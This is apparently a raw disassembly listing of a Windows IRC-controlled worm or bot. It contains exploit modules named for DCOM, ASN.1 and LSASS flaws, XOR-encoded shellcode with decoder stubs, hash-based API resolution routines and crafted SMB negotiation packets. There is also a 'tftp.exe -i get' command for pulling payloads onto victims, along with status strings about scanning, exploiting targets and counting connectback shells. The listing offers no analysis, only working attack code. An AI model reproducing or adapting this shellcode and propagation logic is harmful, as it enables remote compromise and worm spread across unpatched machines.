aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: ___:0042DA68o
		align 10h
aBailar		db 'Bailar',0           ; DATA XREF: ___:0042DA64o
		align 4
aBagnold	db 'Bagnold',0          ; DATA XREF: ___:0042DA60o
aBaglivo	db 'Baglivo',0          ; DATA XREF: ___:0042DA5Co
aBady		db 'Bady',0             ; DATA XREF: ___:0042DA58o
		align 10h
aBackus		db 'Backus',0           ; DATA XREF: ___:0042DA54o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: ___:0042DA50o
		align 4
aAzima		db 'Azima',0            ; DATA XREF: ___:0042DA4Co
		align 4
aAyling		db 'Ayling',0           ; DATA XREF: ___:0042DA48o
		align 4
aAykroyd	db 'Aykroyd',0          ; DATA XREF: ___:0042DA44o
aAyiemba	db 'Ayiemba',0          ; DATA XREF: ___:0042DA40o
aAxworthy	db 'Axworthy',0         ; DATA XREF: ___:0042DA3Co
		align 10h
aAxelrod	db 'Axelrod',0          ; DATA XREF: ___:0042DA38o
aAurelius	db 'Aurelius',0         ; DATA XREF: ___:0042DA34o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: ___:0042DA30o
		align 10h
aAtkins		db 'Atkins',0           ; DATA XREF: ___:0042DA2Co
		align 4
aArky		db 'Arky',0             ; DATA XREF: ___:0042DA28o
		align 10h
aArjas		db 'Arjas',0            ; DATA XREF: ___:0042DA24o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DA20o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DA1Co
		align 10h
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DA18o
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DA14o
		align 10h
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DA10o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DA0Co
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DA08o
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DA04o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DA00o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042D9FCo
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042D9F8o
		align 10h
aAndel		db 'Andel',0            ; DATA XREF: ___:0042D9F4o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042D9F0o
		align 10h
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042D9ECo
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042D9E8o
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042D9E4o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042D9E0o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042D9DCo
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042D9D8o
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042D9D4o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042D9D0o
		align 10h
aAllison	db 'Allison',0          ; DATA XREF: ___:0042D9CCo
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042D9C8o
		align 10h
aAlda		db 'Alda',0             ; DATA XREF: ___:0042D9C4o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042D9C0o
		align 10h
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042D9BCo
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042D9B8o
		align 10h
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042D9B4o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042D9B0o
		align 10h
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042D9ACo
		align 4
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42D9A8o
aAdams		db 'Adams',0            ; DATA XREF: ___:0042D9A4o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042D9A0o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42D99Co
		align 4
byte_4315F4	db 50h			; DATA XREF: ___:0040ABE6o
					; ___:0040ABF3r
		db 43h,	2 dup(0)
dword_4315F8	dd 7C7325h		; DATA XREF: ___:0040AC91o
dword_4315FC	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AD9Bo
dword_431604	dd 3F3F3Fh		; DATA XREF: ___:loc_40AD92o
					; sub_41AF8F:loc_41B052o
dword_431608	dd 334B32h		; DATA XREF: ___:0040AD8Bo
dword_43160C	dd 5058h		; DATA XREF: ___:0040AD7Do
					; ___:0040AF89o ...
dword_431610	dd 4B32h		; DATA XREF: ___:0040AD6Do
					; ___:0040AF79o ...
dword_431614	dd 454Dh		; DATA XREF: ___:0040AD54o
					; ___:0040AF60o ...
dword_431618	dd 3839h		; DATA XREF: ___:0040AD44o
					; ___:0040AF50o ...
dword_43161C	dd 544Eh		; DATA XREF: ___:0040AD34o
					; ___:0040AF41o ...
dword_431620	dd 3539h		; DATA XREF: ___:0040AD26o
					; ___:0040AF33o ...
dword_431624	dd 5D64255Bh, 7325h	; DATA XREF: sub_40ADE1+3Ao
off_43162C	dd offset loc_5D4D5B	; DATA XREF: sub_40ADE1+2Co
					; sub_40ADE1+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40ADE1+18o
					; sub_41875E+5o
		align 4
aSSSS		db '%s|%s|%s|%s|',0     ; DATA XREF: ___:0040B0D6o
		align 4
a99		db '99',0               ; DATA XREF: ___:loc_40B098o
		align 4
a0D		db '0%d',0              ; DATA XREF: ___:0040B072o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: ___:0040B054o
					; sub_41ADD8+52o
off_43165C	dd offset byte_4B4E55	; DATA XREF: ___:0040B037o
dword_431660	dd 345053h		; DATA XREF: ___:0040B02Do
dword_431664	dd 34h			; DATA XREF: ___:0040B021o
dword_431668	dd 335053h		; DATA XREF: ___:0040B014o
dword_43166C	dd 33h			; DATA XREF: ___:0040B003o
dword_431670	dd 325053h		; DATA XREF: ___:0040AFF6o
dword_431674	dd 32h			; DATA XREF: ___:0040AFE5o

; =============== S U B	R O U T	I N E =======================================



sub_431678	proc near		; DATA XREF: ___:0040AFD8o
		push	ebx
		push	eax
		xor	[eax], eax
sub_431678	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
dword_43167C	dd 305053h		; DATA XREF: ___:0040AFBAo
dword_431680	dd 4E55h		; DATA XREF: ___:loc_40AF9Eo
dword_431684	dd 3332h		; DATA XREF: ___:0040AF97o
; ---------------------------------------------------------------------------


loc_431688:				; DATA XREF: sub_40B2B3+C4o
		jmp	short loc_43168C
; ---------------------------------------------------------------------------


loc_43168A:				; CODE XREF: ___:loc_43168Cp
		jmp	short loc_431691
; ---------------------------------------------------------------------------


loc_43168C:				; CODE XREF: ___:loc_431688j
		call	loc_43168A


loc_431691:				; CODE XREF: ___:loc_43168Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_431696	dw 0FFFFh		; DATA XREF: sub_40B2B3+CCw
		db 80h,	73h, 0Eh
byte_43169B	db 0FFh			; DATA XREF: sub_40B2B3+D3w
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_4316A0:				; DATA XREF: sub_40B2B3+A2o
		jmp	short loc_4316A4
; ---------------------------------------------------------------------------


loc_4316A2:				; CODE XREF: ___:loc_4316A4p
		jmp	short loc_4316A9
; ---------------------------------------------------------------------------


loc_4316A4:				; CODE XREF: ___:loc_4316A0j
		call	loc_4316A2


loc_4316A9:				; CODE XREF: ___:loc_4316A2j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_4316AD	db 0FFh			; DATA XREF: sub_40B2B3+AAw
		dw 7380h
		db 0Ch
byte_4316B1	db 0FFh			; DATA XREF: sub_40B2B3+B0w
		dw 0E243h
		dd 0F9h
dword_4316B8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_40B13C+57o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_43171C	dd 12h			; DATA XREF: sub_40B13C+3Dw
aTftp_exeIGet	db 'tftp.exe -i  get ',0 ; DATA XREF: sub_40B13C+79o
aJ_0		db 'j',0
		db 0E8h
dword_431735	dd 17h			; DATA XREF: sub_40B13C+4Dw
; ---------------------------------------------------------------------------
		jnz	short near ptr byte_43173C
		retn
; ---------------------------------------------------------------------------
byte_43173C	db 0E8h			; CODE XREF: ___:00431739j
dword_43173D	dd 1			; DATA XREF: sub_40B13C+45w
byte_431741	db 0, 6Ah, 0		; DATA XREF: sub_40B13C+C2o
		dd 7E8h
		db 0, 0Fh, 84h
dword_43174B	dd 0FFFFFFEDh		; DATA XREF: sub_40B13C+5Dw
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B648+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B648+35o
		align 10h
aSym		db 'sym',0              ; DATA XREF: sub_40C3E8+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40BA9E+30o
					; ___:0040E229o ...
		align 4
		dd 5 dup(0)
dword_4317F8	dd 0B97h		; DATA XREF: sub_401ACD+1D42r
					; sub_401ACD+1D6Ao ...
off_4317FC	dd offset sub_40EAE9	; DATA XREF: sub_40C3E8+1EAr
dword_431800	dd 0			; DATA XREF: sub_40B90E+2Eo
					; ___:0040D759w ...
dword_431804	dd 1			; DATA XREF: sub_40BD91+1Fr
dword_431808	dd 1			; DATA XREF: sub_40BD91+3B3r
dword_43180C	dd 0			; DATA XREF: sub_40BD91+292r
aDcom135	db 'dcom135',0
		dd 63440000h, 33316D6Fh, 35h, 5	dup(0)
		dd 87h,	40DF4Ch, 0
		dd 1, 2	dup(0)
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40EC1Fh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 4
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D59Dh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 4
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D59Dh, 0
		dd 2 dup(1), 0
aVncs		db 'vncs',0
		align 4
		dd 54480000h, 562D5054h, 434Eh,	5 dup(0)
		dd 170Ch, 41B6A1h, 4 dup(0)
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 40E830h, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 4
		db 2 dup(0)
byte_4319DA	db 1			; DATA XREF: sub_401ACD:loc_403789r
					; sub_401ACD+1CC6o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431A06

; =============== S U B	R O U T	I N E =======================================



sub_4319F6	proc near		; CODE XREF: sub_4319F6:loc_431A06p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_4319FE:				; CODE XREF: sub_4319F6+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_4319FE
		jmp	short loc_431A0B
; ---------------------------------------------------------------------------


loc_431A06:				; CODE XREF: ___:004319F4j
		call	sub_4319F6


loc_431A0B:				; CODE XREF: sub_4319F6+Ej
		jo	short near ptr dword_431994+12h
		cwde
		cdq
		cdq
		retn
sub_4319F6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B90E+86o
		align 4
dword_431B88	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B90E+46o
unk_431B94	db  2Dh	; -		; DATA XREF: sub_40B90E+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431BB4	db  2Dh	; -		; DATA XREF: sub_40B9DD+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431BFC	db  2Dh	; -		; DATA XREF: sub_40BA49+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 4
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40BA9E+7Fo
dword_431C38	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BA9E+40o
dword_431C48	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40BA9E+14o
		dd 7473694Ch, 3Ah
unk_431C64	db  2Dh	; -		; DATA XREF: ___:0040BCD7o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431C98	db  2Dh	; -		; DATA XREF: ___:0040BBE5o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 4
unk_431CC8	db  2Dh	; -		; DATA XREF: sub_40BD1A+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_431CE8	db  2Dh	; -		; DATA XREF: sub_40BD1A+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431D04	db  2Dh	; -		; DATA XREF: sub_40BD91+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_30	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431D38	db  2Dh	; -		; DATA XREF: sub_40BD91+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_31	db '- Failed to start server, error: <%d>.',0
unk_431D70	db  2Dh	; -		; DATA XREF: sub_40BD91+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 10h
unk_431DA0	db  2Dh	; -		; DATA XREF: sub_40BD91+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_32	db 'Failed to start server, error: <%d>.',0
		align 4
unk_431DD4	db  2Dh	; -		; DATA XREF: sub_40BD91+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 4
unk_431E08	db  2Dh	; -		; DATA XREF: sub_40BD91+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 4
unk_431E3C	db  2Dh	; -		; DATA XREF: sub_40C3E8+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_431E64	db  2Dh	; -		; DATA XREF: sub_40C3E8+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431E9C	db  2Dh	; -		; DATA XREF: sub_40C3E8+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_431EDC	db  2Dh	; -		; DATA XREF: sub_40C3E8+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_431F14	db  2Dh	; -		; DATA XREF: sub_40C3E8+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_431F48	db  2Dh	; -		; DATA XREF: sub_40C3E8+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_431F7C	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C85F+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CD9E+B2o
		align 10h
dword_432030	dd 10FF8h, 0		; DATA XREF: sub_40CD9E+6Ao
dword_432038	dd 10FF8h		; DATA XREF: sub_40CD9E+79o
dword_43203C	dd 7FFDF020h, 0		; DATA XREF: sub_40CD9E+162o
dword_432044	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40D1C8+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4320CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40D1C8+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4320FC	dd 0			; DATA XREF: sub_40D1C8+44o
		dd 800000D4h, 0
unk_432108	db  81h	; 		; DATA XREF: sub_40D2A2+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_432154	db 41h			; DATA XREF: sub_40D340+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_432198	proc near		; DATA XREF: ___:0040D61Fo
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_432294
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4322AA
		mov	[esi+8], eax
		call	sub_43225D
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4322AA
		mov	[esi+0Ch], eax
		call	sub_43220F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4322AA
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432198	endp


; =============== S U B	R O U T	I N E =======================================



sub_43220F	proc near		; CODE XREF: sub_432198+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432238
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_43220F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432238	proc near		; CODE XREF: sub_43220F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_432247:				; CODE XREF: sub_432238+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_432254
		inc	ebx
		jmp	short loc_432247
; ---------------------------------------------------------------------------


loc_432254:				; CODE XREF: sub_432238+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432238	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43225D	proc near		; CODE XREF: sub_432198+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_432275:				; CODE XREF: sub_43225D+1Ej
		cmp	[ecx], ebx
		jz	short loc_43227D
		mov	ecx, [ecx]
		jmp	short loc_432275
; ---------------------------------------------------------------------------


loc_43227D:				; CODE XREF: sub_43225D+1Aj
		mov	edx, edi


loc_43227F:				; CODE XREF: sub_43225D+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432289
		mov	edx, [edx+4]
		jmp	short loc_43227F
; ---------------------------------------------------------------------------


loc_432289:				; CODE XREF: sub_43225D+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_43225D	endp


; =============== S U B	R O U T	I N E =======================================



sub_432294	proc near		; CODE XREF: sub_432198+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_432294	endp


; =============== S U B	R O U T	I N E =======================================



sub_4322AA	proc near		; CODE XREF: sub_432198+16p
					; sub_432198+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4322C0:				; CODE XREF: sub_4322AA+33j
		jecxz	short loc_4322FA
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4322CD:				; CODE XREF: sub_4322AA+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4322D9
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4322CD
; ---------------------------------------------------------------------------


loc_4322D9:				; CODE XREF: sub_4322AA+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4322C0
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4322FA:				; CODE XREF: sub_4322AA:loc_4322C0j
					; sub_4322AA:loc_4322FAj
		jmp	short loc_4322FA
sub_4322AA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432300	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_432352
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_43231D:				; CODE XREF: sub_432300+38j
		jecxz	short loc_43234D
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432328:				; CODE XREF: sub_432300+32j
		lodsb
		test	al, al
		jz	short loc_432334
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432328
; ---------------------------------------------------------------------------


loc_432334:				; CODE XREF: sub_432300+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_43231D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_43234D:				; CODE XREF: sub_432300:loc_43231Dj
		mov	[esp+arg_0], ebx
		retn
sub_432300	endp


; =============== S U B	R O U T	I N E =======================================



sub_432352	proc near		; CODE XREF: sub_432300+7p

; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_43236B
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_432376
; ---------------------------------------------------------------------------


